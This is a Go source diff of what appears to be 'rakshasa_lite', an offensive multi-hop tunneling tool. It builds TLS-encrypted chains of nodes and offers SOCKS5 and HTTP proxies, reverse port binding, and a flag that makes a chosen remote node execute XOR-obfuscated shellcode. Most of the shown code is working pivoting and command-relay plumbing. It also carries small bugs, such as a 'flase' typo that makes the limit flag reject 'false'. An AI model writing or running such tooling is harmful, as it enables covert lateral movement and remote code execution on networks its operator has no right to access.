|
||||||
|
|
||||||
|
import (
|
||||||
|
"cert"
|
||||||
|
"flag"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"rakshasa_lite/aes"
|
||||||
|
"rakshasa_lite/common"
|
||||||
|
"rakshasa_lite/server"
|
||||||
|
"strconv"
|
||||||
|
"sync"
|
||||||
|
)
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
|
||||||
|
var (
|
||||||
|
//以下为配置参数
|
||||||
|
dstNode = flag.String("d", "", "依次连接到指定的 上级节点地址,格式为 ip:端口 多个节点以,隔开 第二个地址可以是UUID\r\n -d 192.168.1.1:8883\r\n -d 192.168.1.1:8883,192.168.1.2:8882")
|
||||||
|
limit = flag.String("limit", "", "limit模式,只连接-d的节点,不进行额外节点连接,默认为false,如果为true,本节点掉线的时候,将会尝试连接所有已保存节点")
|
||||||
|
password = flag.String("password", "", "通讯二次加密秘钥,可为空")
|
||||||
|
listenip = flag.String("ip", "", "设置本地节点指定公网ip,如\r\n -ip 192.168.1.1")
|
||||||
|
port = flag.String("p", "", "设置本地节点监听端口,默认8883")
|
||||||
|
configFile = flag.String("f", "", "配置文件路径,为空的时候不读取")
|
||||||
|
|
||||||
|
//以下为功能参数,必须配合-d参数启动
|
||||||
|
socks5port = flag.String("socks5", "", "以本地socks5代理服务端模式运行,通过-d的服务器多级代理转出数据,如果没有-d参数,则相当于建立了一个本地socks5代理服务器,如: -socks5 admin:[email protected]:1080")
|
||||||
|
remoteSocksport = flag.String("remotesocks5", "", "-d节点监听socks5代理,并将请求通过本地转出,如: -remote admin:[email protected]:1080")
|
||||||
|
rawbind = flag.String("bind", "", "反向代理转发模式,格式为ip:port,remote_ip:remote_port,-d指定节点将会监听remote_ip:remote_port,通过本机将数据转发到ip:port,如\r\n -bind 127.0.0.1:80,0.0.0.0:80")
|
||||||
|
rawconnect = flag.String("connect", "", "代理转发模式,格式为ip:port,remote_ip:remote_port,本地监听ip:port,并在-d节点连接到remote_ip:remote_port,如\r\n -connect 0.0.0.0:80,192.168.1.1:80")
|
||||||
|
shellCode = flag.String("shellcode", "", "与-d配合指定节点执行shellcode,-d参数为空则为本节点执行,可以为base64或者hex编码")
|
||||||
|
shellCodeXorKey = flag.String("sXor", "", "shellcode的xor解码密钥")
|
||||||
|
shellCodeParam = flag.String("sParam", "", "shellcode的运行参数")
|
||||||
|
shellCodeTimeout = flag.Int("sTimeout", 3, "shellcode的超时等待时间,默认3秒")
|
||||||
|
http_proxy = flag.String("http_proxy", "", "以本地http代理服务端模式运行,通过-d的服务器多级代理转出数据,如果没有-d参数,则使用本机进行下一步连接, 用户名:密码@ip:端口 可以省略为端口,如: \r\n -http_proxy admin:[email protected]:8080\r\n -http_proxy admin:12345@8080\r\n -http_proxy 8080")
|
||||||
|
http_proxy_pool = flag.String("http_proxy_pool", "", "从指定文件读取http代理服务器池,通过最后节点后(不使用-d则为本机),再从该池里读取一个代理进行请求")
|
||||||
|
)
|
||||||
|
|
||||||
|
flag.Parse()
|
||||||
|
|
||||||
|
var config common.Config
|
||||||
|
if *configFile != "" {
|
||||||
|
if err := server.ConfigLoad(*configFile); err != nil {
|
||||||
|
log.Fatalln("读取配置文件", *configFile, "失败 ", err)
|
||||||
|
}
|
||||||
|
config = server.GetConfig()
|
||||||
|
} else {
|
||||||
|
config = common.Config{
|
||||||
|
Port: 8883,
|
||||||
|
Limit: false,
|
||||||
|
FileName: "config.yaml",
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
if *dstNode != "" {
|
||||||
|
serverlist, err := common.ResolveTCPAddr(*dstNode)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalln("-d参数错误", err)
|
||||||
|
}
|
||||||
|
config.DstNode = serverlist
|
||||||
|
}
|
||||||
|
|
||||||
|
if *password != "" {
|
||||||
|
config.Password = *password
|
||||||
|
}
|
||||||
|
if *listenip != "" {
|
||||||
|
config.ListenIp = *listenip
|
||||||
|
}
|
||||||
|
if *limit != "" {
|
||||||
|
if *limit != "flase" && *limit != "true" {
|
||||||
|
log.Fatalln("limit 参数错误,必须是 false 或者 true")
|
||||||
|
}
|
||||||
|
config.Limit = *limit == "true"
|
||||||
|
}
|
||||||
|
if *port != "" {
|
||||||
|
p, _ := strconv.Atoi(*port)
|
||||||
|
if p < 1 || p > 65535 {
|
||||||
|
log.Fatalln("port 参数错误,必须是1-65535")
|
||||||
|
}
|
||||||
|
config.Port = p
|
||||||
|
}
|
||||||
|
server.SetConfig(config)
|
||||||
|
//修正dstNode为空字串的bug
|
||||||
|
for i := len(config.DstNode) - 1; i >= 0; i-- {
|
||||||
|
addr := config.DstNode[i]
|
||||||
|
if addr == "" {
|
||||||
|
config.DstNode = append(config.DstNode[:i], config.DstNode[i+1:]...)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
server.SetConfig(config)
|
||||||
|
|
||||||
|
//设置一下秘钥
|
||||||
|
aes.Key = aes.MD5_B(config.Password + string(cert.RsaPrivateKey[:16]))
|
||||||
|
//初始化node
|
||||||
|
server.InitCurrentNode()
|
||||||
|
|
||||||
|
//启动节点
|
||||||
|
if len(config.DstNode) > 0 && config.DstNode[0] != "" {
|
||||||
|
if _, err := server.GetNodeFromAddrs(config.DstNode); err != nil {
|
||||||
|
log.Fatalln("连接节点失败", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if *shellCode != "" {
|
||||||
|
server.RunShellcodeWithDst(*dstNode, *shellCode, *shellCodeXorKey, *shellCodeParam, *shellCodeTimeout)
|
||||||
|
}
|
||||||
|
if err := server.StartServer(fmt.Sprintf("0.0.0.0:%d", config.Port)); err != nil {
|
||||||
|
log.Fatalln(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
//如果有参数启动,启动一下
|
||||||
|
if *rawbind != "" {
|
||||||
|
if *dstNode == "" {
|
||||||
|
log.Fatalln("请以 -d 输入远程服务器ip地址")
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := server.StartRawBind(*rawbind, config.DstNode); err != nil {
|
||||||
|
log.Fatalln("bind启动失败", err)
|
||||||
|
}
|
||||||
|
log.Println("rawBind启动成功")
|
||||||
|
} else if *rawconnect != "" {
|
||||||
|
if *dstNode == "" {
|
||||||
|
log.Fatalln("请以 -d 输入远程服务器ip地址")
|
||||||
|
}
|
||||||
|
n, err := server.GetNodeFromAddrs(config.DstNode)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalln("connect启动失败", err)
|
||||||
|
}
|
||||||
|
if err := server.StartRawConnect(*rawconnect, n); err != nil {
|
||||||
|
log.Fatalln("connect启动失败", err)
|
||||||
|
}
|
||||||
|
log.Println("rawConnect启动成功")
|
||||||
|
} else if *socks5port != "" {
|
||||||
|
|
||||||
|
cfg, err := common.ParseAddr(*socks5port)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalln(err)
|
||||||
|
}
|
||||||
|
if err := server.StartSocks5(cfg, config.DstNode); err != nil {
|
||||||
|
log.Fatalln("socks5启动失败", err)
|
||||||
|
}
|
||||||
|
log.Println("socks5启动成功")
|
||||||
|
|
||||||
|
} else if *remoteSocksport != "" {
|
||||||
|
if *dstNode == "" {
|
||||||
|
log.Fatalln("请以 -d 输入远程服务器ip地址")
|
||||||
|
}
|
||||||
|
n, err := server.GetNodeFromAddrs(config.DstNode)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalln("remoteSocks5启动失败", err)
|
||||||
|
}
|
||||||
|
cfg, err := common.ParseAddr(*remoteSocksport)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalln(err)
|
||||||
|
}
|
||||||
|
if err := server.StartRemoteSocks5(cfg, n); err != nil {
|
||||||
|
log.Fatalln("remoteSocks5启动失败", err)
|
||||||
|
}
|
||||||
|
log.Println("remoteSocks5 启动成功")
|
||||||
|
} else if *http_proxy != "" {
|
||||||
|
cfg, err := common.ParseAddr(*http_proxy)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalln(err)
|
||||||
|
}
|
||||||
|
if err := server.StartHttpProxy(cfg, config.DstNode, *http_proxy_pool); err != nil {
|
||||||
|
log.Fatalln("httpProxy启动失败", err)
|
||||||
|
}
|
||||||
|
log.Println("httpProxy 启动成功")
|
||||||
|
}
|
||||||
|
|
||||||
|
var wait sync.WaitGroup
|
||||||
|
wait.Add(1)
|
||||||
|
wait.Wait()
|
||||||
|
}
|
||||||
@@ -0,0 +1,42 @@
|
|||||||
|
package server
|
||||||
|
|
||||||
|
import (
|
||||||
|
"gopkg.in/yaml.v3"
|
||||||
|
"io/ioutil"
|
||||||
|
"rakshasa_lite/common"
|
||||||
|
)
|
||||||
|
|
||||||
|
var currentConfig common.Config
|
||||||
|
|
||||||
|
func SetConfig(config common.Config) {
|
||||||
|
currentConfig = config
|
||||||
|
currentConfig.FileSave = false
|
||||||
|
currentNode.mainIp = currentConfig.ListenIp
|
||||||
|
currentNode.port = currentConfig.Port
|
||||||
|
}
|
||||||
|
func ConfigSave() error {
|
||||||
|
b, _ := yaml.Marshal(currentConfig)
|
||||||
|
err := ioutil.WriteFile(currentConfig.FileName, b, 0666)
|
||||||
|
if err == nil {
|
||||||
|
currentConfig.FileSave = true
|
||||||
|
}
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
func ConfigLoad(filename string) error {
|
||||||
|
b, err := ioutil.ReadFile(filename)
|
||||||
|
if err == nil {
|
||||||
|
var config common.Config
|
||||||
|
err = yaml.Unmarshal(b, &config)
|
||||||
|
if err == nil {
|
||||||
|
|
||||||
|
currentConfig = config
|
||||||
|
currentConfig.FileSave = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
func GetConfig() common.Config {
|
||||||
|
|
||||||
|
return currentConfig
|
||||||
|
}
|
||||||
@@ -0,0 +1,714 @@
|
|||||||
|
package server
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"cert"
|
||||||
|
"crypto/tls"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"net"
|
||||||
|
"net/url"
|
||||||
|
"rakshasa_lite/aes"
|
||||||
|
"rakshasa_lite/common"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"sync/atomic"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
bufPool = &sync.Pool{
|
||||||
|
New: func() interface{} {
|
||||||
|
return &bytes.Buffer{}
|
||||||
|
},
|
||||||
|
}
|
||||||
|
closeChan = make(chan *bytes.Buffer, 1) //用于接收已关闭消息的黑洞chan
|
||||||
|
)
|
||||||
|
|
||||||
|
// 节点的连接,包含listen来的和主动connect的
|
||||||
|
type Conn struct {
|
||||||
|
closeTag int32
|
||||||
|
node *node
|
||||||
|
nodeaddr string
|
||||||
|
//key string
|
||||||
|
remoteAddr string
|
||||||
|
inChan chan func()
|
||||||
|
OutChan chan []byte
|
||||||
|
close chan string
|
||||||
|
isClient bool
|
||||||
|
nodeConn *tls.Conn
|
||||||
|
regResult chan error
|
||||||
|
regResultNode chan *node
|
||||||
|
}
|
||||||
|
|
||||||
|
type serverListen struct {
|
||||||
|
close int32
|
||||||
|
node *node
|
||||||
|
listen net.Listener
|
||||||
|
isSocks5 bool
|
||||||
|
socks5Replay []byte
|
||||||
|
replayid uint32
|
||||||
|
id uint32
|
||||||
|
connMap sync.Map
|
||||||
|
randkey []byte
|
||||||
|
}
|
||||||
|
type serverConnect struct {
|
||||||
|
close int32
|
||||||
|
id uint32
|
||||||
|
windowsSize int64
|
||||||
|
conn net.Conn
|
||||||
|
node *node
|
||||||
|
address string
|
||||||
|
|
||||||
|
write chan *bytes.Buffer
|
||||||
|
|
||||||
|
wait chan int
|
||||||
|
closeReason string
|
||||||
|
randkey []byte
|
||||||
|
}
|
||||||
|
|
||||||
|
// 中转与最终出口
|
||||||
|
func StartServer(addr string) error {
|
||||||
|
config := cert.Tlsconfig.Clone()
|
||||||
|
fmt.Println("start on ", addr)
|
||||||
|
|
||||||
|
l, err := tls.Listen("tcp", addr, config)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("server start fail %v", err)
|
||||||
|
}
|
||||||
|
currentNode.listen = l
|
||||||
|
go func() {
|
||||||
|
for {
|
||||||
|
conn, err := l.Accept()
|
||||||
|
if err != nil {
|
||||||
|
if err.(*net.OpError).Err == net.ErrClosed {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
//封装一个符合common.server接口的server
|
||||||
|
|
||||||
|
c := &Conn{
|
||||||
|
nodeConn: conn.(*tls.Conn),
|
||||||
|
remoteAddr: conn.RemoteAddr().String(),
|
||||||
|
}
|
||||||
|
connMap.Store(c.remoteAddr, conn)
|
||||||
|
go c.handlerNodeRead()
|
||||||
|
go c.handle()
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
func init() {
|
||||||
|
go func() {
|
||||||
|
for b := range closeChan {
|
||||||
|
b.Reset()
|
||||||
|
bufPool.Put(b)
|
||||||
|
}
|
||||||
|
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (conn *serverConnect) Close(reason string) {
|
||||||
|
if atomic.CompareAndSwapInt32(&conn.close, 0, 1) {
|
||||||
|
go func() {
|
||||||
|
if conn.conn != nil {
|
||||||
|
conn.conn.Close()
|
||||||
|
}
|
||||||
|
//fmt.Println(conn.fd, reason)
|
||||||
|
conn.node.connMap.Delete(conn.id)
|
||||||
|
conn.closeReason = reason
|
||||||
|
conn.node.listenMap.Range(func(key, value interface{}) bool {
|
||||||
|
value.(*serverListen).connMap.Delete(conn.id)
|
||||||
|
return true
|
||||||
|
})
|
||||||
|
if reason != remoteClose {
|
||||||
|
conn.node.Write(common.CMD_DELETE_CONNID, conn.id, nil)
|
||||||
|
}
|
||||||
|
|
||||||
|
select {
|
||||||
|
case conn.wait <- common.CONN_STATUS_CLOSE:
|
||||||
|
case <-time.After(time.Second * 10):
|
||||||
|
}
|
||||||
|
conn.write <- nil
|
||||||
|
conn.write = closeChan
|
||||||
|
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
func (c *Conn) Close(reason string) {
|
||||||
|
c.close <- reason
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
func (conn *serverConnect) handTcpReceive() {
|
||||||
|
go func() {
|
||||||
|
for b := range conn.write {
|
||||||
|
if b == nil {
|
||||||
|
conn.write = closeChan
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if _, err := conn.conn.Write(b.Bytes()); err != nil {
|
||||||
|
conn.Close(err.Error())
|
||||||
|
}
|
||||||
|
b.Reset()
|
||||||
|
bufPool.Put(b)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
var err error
|
||||||
|
var n int
|
||||||
|
defer func() {
|
||||||
|
|
||||||
|
if err != nil {
|
||||||
|
conn.Close(conn.address + " 读取出错" + err.Error())
|
||||||
|
} else {
|
||||||
|
conn.Close(conn.address + " read异常关闭")
|
||||||
|
}
|
||||||
|
|
||||||
|
}()
|
||||||
|
|
||||||
|
buf := make([]byte, common.MAX_PLAINTEXT)
|
||||||
|
|
||||||
|
for conn.close == 0 {
|
||||||
|
conn.conn.SetReadDeadline(time.Now().Add(common.WRITE_DEADLINE))
|
||||||
|
n, err = conn.conn.Read(buf)
|
||||||
|
if err != nil {
|
||||||
|
if atomic.LoadInt32(&conn.close) == 0 {
|
||||||
|
if e := err.Error(); !strings.Contains(e, ": i/o timeout") {
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
continue
|
||||||
|
} else {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
data := make([]byte, n)
|
||||||
|
copy(data, buf)
|
||||||
|
|
||||||
|
conn.node.Write(common.CMD_CONN_MSG, conn.id, data)
|
||||||
|
|
||||||
|
atomic.AddInt64(&conn.windowsSize, -1*int64(n))
|
||||||
|
|
||||||
|
for atomic.LoadInt64(&conn.windowsSize) <= 0 && conn.close == 0 {
|
||||||
|
|
||||||
|
select {
|
||||||
|
case flag := <-conn.wait:
|
||||||
|
if flag == common.CONN_STATUS_CLOSE {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
case <-time.After(time.Second):
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
func (conn *serverConnect) Write(data []byte) {
|
||||||
|
data = data[1:]
|
||||||
|
windows_update_size := int64(data[0]) | int64(data[1])<<8 | int64(data[2])<<16 | int64(data[3])<<24 | int64(data[4])<<32 | int64(data[5])<<40 | int64(data[6])<<48 | int64(data[7])<<56
|
||||||
|
|
||||||
|
if windows_update_size != 0 {
|
||||||
|
|
||||||
|
old := atomic.AddInt64(&conn.windowsSize, windows_update_size) - windows_update_size
|
||||||
|
if old < 0 {
|
||||||
|
go func() {
|
||||||
|
select {
|
||||||
|
case conn.wait <- common.CONN_STATUS_OK:
|
||||||
|
case <-time.After(time.Second):
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
b := bufPool.Get().(*bytes.Buffer)
|
||||||
|
b.Reset()
|
||||||
|
b.Write(data[8:])
|
||||||
|
conn.write <- b
|
||||||
|
}
|
||||||
|
func (conn *serverConnect) handUdpReceive() {
|
||||||
|
|
||||||
|
var err error
|
||||||
|
var n int
|
||||||
|
defer func() {
|
||||||
|
|
||||||
|
if err != nil {
|
||||||
|
conn.Close(conn.address + " 网站读取出错" + err.Error())
|
||||||
|
} else {
|
||||||
|
conn.Close(conn.address + " read异常关闭")
|
||||||
|
}
|
||||||
|
|
||||||
|
}()
|
||||||
|
|
||||||
|
buf := make([]byte, common.MAX_PLAINTEXT)
|
||||||
|
|
||||||
|
for conn.close == 0 {
|
||||||
|
conn.conn.SetReadDeadline(time.Now().Add(common.WRITE_DEADLINE))
|
||||||
|
n, err = conn.conn.Read(buf)
|
||||||
|
if err != nil {
|
||||||
|
if atomic.LoadInt32(&conn.close) == 0 {
|
||||||
|
if e := err.Error(); !strings.Contains(e, ": i/o timeout") {
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
continue
|
||||||
|
} else {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
b := make([]byte, n)
|
||||||
|
copy(b, buf)
|
||||||
|
conn.node.Write(common.CMD_CONN_UDP_MSG, conn.id, b)
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
func (conn *serverConnect) doConnectTcp(network common.NetWork, addr string) {
|
||||||
|
|
||||||
|
netconn, err := net.DialTimeout("tcp", addr, time.Second*30)
|
||||||
|
if err != nil {
|
||||||
|
buf := make([]byte, 2)
|
||||||
|
buf[0] = byte(network)
|
||||||
|
buf[1] = 0
|
||||||
|
conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, append(conn.randkey, buf...))
|
||||||
|
conn.Close("fd拨号失败")
|
||||||
|
return
|
||||||
|
} else {
|
||||||
|
buf := make([]byte, 2)
|
||||||
|
buf[0] = byte(network)
|
||||||
|
buf[1] = 1
|
||||||
|
conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, append(conn.randkey, buf...))
|
||||||
|
if conn.close == 0 {
|
||||||
|
conn.conn = netconn
|
||||||
|
go conn.handTcpReceive()
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
func (conn *serverConnect) doConnectTcpWithHttpProxy(network common.NetWork, addr string) {
|
||||||
|
writeResult := func(res bool) {
|
||||||
|
buf := make([]byte, 2)
|
||||||
|
buf[0] = byte(network)
|
||||||
|
buf[1] = 0
|
||||||
|
if res {
|
||||||
|
buf[1] = 1
|
||||||
|
}
|
||||||
|
conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, append(conn.randkey, buf...))
|
||||||
|
}
|
||||||
|
|
||||||
|
if i := strings.IndexByte(addr, 32); i > -1 {
|
||||||
|
cfg, err := common.ParseAddr(addr[i+1:])
|
||||||
|
if err != nil {
|
||||||
|
writeResult(false)
|
||||||
|
conn.Close("地址解析失败")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
netconn, err := net.DialTimeout("tcp", cfg.Addr(), time.Second*2)
|
||||||
|
if err != nil {
|
||||||
|
writeResult(false)
|
||||||
|
conn.Close("fd拨号失败")
|
||||||
|
return
|
||||||
|
} else {
|
||||||
|
netconn.SetDeadline(time.Now().Add(time.Second * 30))
|
||||||
|
netconn.SetWriteDeadline(time.Now().Add(time.Second * 30))
|
||||||
|
switch cfg.Scheam() {
|
||||||
|
case "", "http://":
|
||||||
|
//请求代理
|
||||||
|
data := fmt.Sprintf("CONNECT %s HTTP/1.1\r\nHost: %s\r\nProxy-Connection: keep-alive\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36\r\n", addr[:i], addr[:i])
|
||||||
|
if cfg.GetHttpAuthorizationHeader() != "" {
|
||||||
|
data += cfg.GetHttpAuthorizationHeader() + "\r\n\r\n"
|
||||||
|
} else {
|
||||||
|
data += "\r\n"
|
||||||
|
}
|
||||||
|
_, err = netconn.Write([]byte(data))
|
||||||
|
if err != nil {
|
||||||
|
writeResult(false)
|
||||||
|
conn.Close("http代理发送消息失败")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
var resdata []byte
|
||||||
|
var result [8192]byte
|
||||||
|
var req = &http1request{}
|
||||||
|
for {
|
||||||
|
n, err := netconn.Read(result[:])
|
||||||
|
if err != nil {
|
||||||
|
writeResult(false)
|
||||||
|
conn.Close("读取http代理结果失败")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
resdata = append(resdata, result[:n]...)
|
||||||
|
l, _, err := parsereq(req, resdata)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
} else if l > 0 {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
if req.Status == "200 Connection established" {
|
||||||
|
writeResult(true)
|
||||||
|
if conn.close == 0 {
|
||||||
|
conn.conn = netconn
|
||||||
|
go conn.handTcpReceive()
|
||||||
|
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
writeResult(false)
|
||||||
|
conn.Close("http代理连接失败")
|
||||||
|
}
|
||||||
|
writeResult(true)
|
||||||
|
case "socks5://":
|
||||||
|
_, err = netconn.Write([]byte{5, 1, 2})
|
||||||
|
if err != nil {
|
||||||
|
writeResult(false)
|
||||||
|
conn.Close("socks5代理发送消息失败")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
var result [8192]byte
|
||||||
|
|
||||||
|
n, err := netconn.Read(result[:])
|
||||||
|
if err != nil {
|
||||||
|
writeResult(false)
|
||||||
|
conn.Close("读取socks5数据出错")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if string(result[:n]) == string([]byte{5, 2}) { //需要认证
|
||||||
|
user, password := cfg.User(), cfg.Password()
|
||||||
|
if user == "" && password == "" {
|
||||||
|
writeResult(false)
|
||||||
|
conn.Close("socks5需要验证")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
data := make([]byte, (3 + len(user) + len(password)))
|
||||||
|
data[0] = 5
|
||||||
|
data[1] = byte(len(user))
|
||||||
|
copy(data[2:], user)
|
||||||
|
data[2+len(user)] = byte(len(password))
|
||||||
|
copy(data[3+len(user):], password)
|
||||||
|
netconn.Write(data)
|
||||||
|
n, err = netconn.Read(result[:])
|
||||||
|
if err != nil || string(result[:n]) != string([]byte{5, 0}) {
|
||||||
|
writeResult(false)
|
||||||
|
conn.Close("密码校验不通过")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
data := []byte{5, 1, 0, 1}
|
||||||
|
if u, err := url.ParseRequestURI(addr[:i]); err == nil {
|
||||||
|
data[3] = 3
|
||||||
|
data = append(data, byte(len(u.Scheme)))
|
||||||
|
data = append(data, u.Scheme...)
|
||||||
|
p, _ := strconv.Atoi(u.Opaque)
|
||||||
|
port := []byte{byte(p >> 8), byte(p)}
|
||||||
|
data = append(data, port...)
|
||||||
|
} else if tcp4, err := net.ResolveTCPAddr("tcp4", addr[:i]); err == nil {
|
||||||
|
data[3] = 1
|
||||||
|
data = append(data, tcp4.IP.String()...)
|
||||||
|
port := []byte{byte(tcp4.Port), byte(tcp4.Port >> 8)}
|
||||||
|
data = append(data, port...)
|
||||||
|
} else if tcp6, err := net.ResolveTCPAddr("tcp6", addr[:i]); err == nil {
|
||||||
|
data[3] = 4
|
||||||
|
data = append(data, tcp6.IP.String()...)
|
||||||
|
port := []byte{byte(tcp6.Port), byte(tcp6.Port >> 8)}
|
||||||
|
data = append(data, port...)
|
||||||
|
}
|
||||||
|
netconn.Write(data)
|
||||||
|
n, _ = netconn.Read(result[:])
|
||||||
|
if n >= 2 && string(result[:2]) == string([]byte{5, 0}) {
|
||||||
|
writeResult(true)
|
||||||
|
if conn.close == 0 {
|
||||||
|
conn.conn = netconn
|
||||||
|
go conn.handTcpReceive()
|
||||||
|
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
writeResult(false)
|
||||||
|
conn.Close("socks5连接失败")
|
||||||
|
}
|
||||||
|
|
||||||
|
default:
|
||||||
|
writeResult(false)
|
||||||
|
conn.Close("不支持的代理协议")
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
writeResult(false)
|
||||||
|
conn.Close("无法获取代理地址")
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
func (conn *serverConnect) doHandleUdp() {
|
||||||
|
for b := range conn.write {
|
||||||
|
if b == nil {
|
||||||
|
conn.write = closeChan
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
conn.conn.Write(b.Bytes())
|
||||||
|
b.Reset()
|
||||||
|
bufPool.Put(b)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var broadcastMap sync.Map //广播帧防止重复处理
|
||||||
|
func (c *Conn) handlerNodeRead() {
|
||||||
|
var err error
|
||||||
|
defer func() {
|
||||||
|
c.nodeConn.Close()
|
||||||
|
c.Close("read错误" + err.Error())
|
||||||
|
|
||||||
|
}()
|
||||||
|
|
||||||
|
lengbuf := make([]byte, 2)
|
||||||
|
for {
|
||||||
|
_, err = io.ReadFull(c.nodeConn, lengbuf)
|
||||||
|
if err != nil {
|
||||||
|
if strings.Contains(err.Error(), "i/o timeout") {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
buf := make([]byte, int(lengbuf[0])+int(lengbuf[1])<<8)
|
||||||
|
_, err = io.ReadFull(c.nodeConn, buf)
|
||||||
|
b := aes.AesCtrDecrypt(buf)
|
||||||
|
msg := common.UnmarshalMsg(b)
|
||||||
|
|
||||||
|
if msg.To == common.NoneUUID.String() && c.node == nil {
|
||||||
|
c.inChan <- func() {
|
||||||
|
newNode := &node{
|
||||||
|
conn: c,
|
||||||
|
}
|
||||||
|
newNode.do(msg)
|
||||||
|
}
|
||||||
|
} else if msg.To == currentNode.uuid {
|
||||||
|
|
||||||
|
func() {
|
||||||
|
l := clientLock.RLock()
|
||||||
|
v, ok := nodeMap[msg.From]
|
||||||
|
l.RUnlock()
|
||||||
|
if ok && v.port != 0 {
|
||||||
|
c.inChan <- func() {
|
||||||
|
v.do(msg)
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
l := clientLock.Lock()
|
||||||
|
v, ok := nodeMap[msg.From]
|
||||||
|
if !ok {
|
||||||
|
newNode := &node{
|
||||||
|
uuid: msg.From,
|
||||||
|
conn: c,
|
||||||
|
waitMsg: []*common.Msg{msg},
|
||||||
|
}
|
||||||
|
result := make(chan interface{}, 1)
|
||||||
|
id := newNode.storeQuery(result)
|
||||||
|
|
||||||
|
nodeMap[msg.From] = newNode
|
||||||
|
l.Unlock()
|
||||||
|
newNode.Write(common.CMD_GET_CURRENT_NODE, id, []byte{1}) //获取丢失节点的信息
|
||||||
|
go func() {
|
||||||
|
defer newNode.deleteQuery(id)
|
||||||
|
select {
|
||||||
|
case res := <-result:
|
||||||
|
if res == nil {
|
||||||
|
|
||||||
|
for _, m := range newNode.waitMsg {
|
||||||
|
c.inChan <- func() {
|
||||||
|
newNode.do(m)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
case <-time.After(common.CMD_TIMEOUT):
|
||||||
|
newNode.Delete("超时")
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
} else {
|
||||||
|
|
||||||
|
if msg.CmdOpteion == common.CMD_GET_CURRENT_NODE_RESULT {
|
||||||
|
|
||||||
|
var res chan interface{}
|
||||||
|
if _v, ok := v.loadQuery(msg.CmdId); !ok {
|
||||||
|
return
|
||||||
|
} else {
|
||||||
|
res = _v
|
||||||
|
}
|
||||||
|
|
||||||
|
var nmsg nodeInfo
|
||||||
|
err = json.Unmarshal(msg.CmdData, &nmsg)
|
||||||
|
if err != nil {
|
||||||
|
res <- err
|
||||||
|
return
|
||||||
|
}
|
||||||
|
v.hostName = cert.RSADecrypterStr(nmsg.HostName)
|
||||||
|
v.uuid = cert.RSADecrypterStr(nmsg.UUID)
|
||||||
|
if v.port, err = strconv.Atoi(cert.RSADecrypterStr(nmsg.Port)); err != nil {
|
||||||
|
v.port = -1
|
||||||
|
}
|
||||||
|
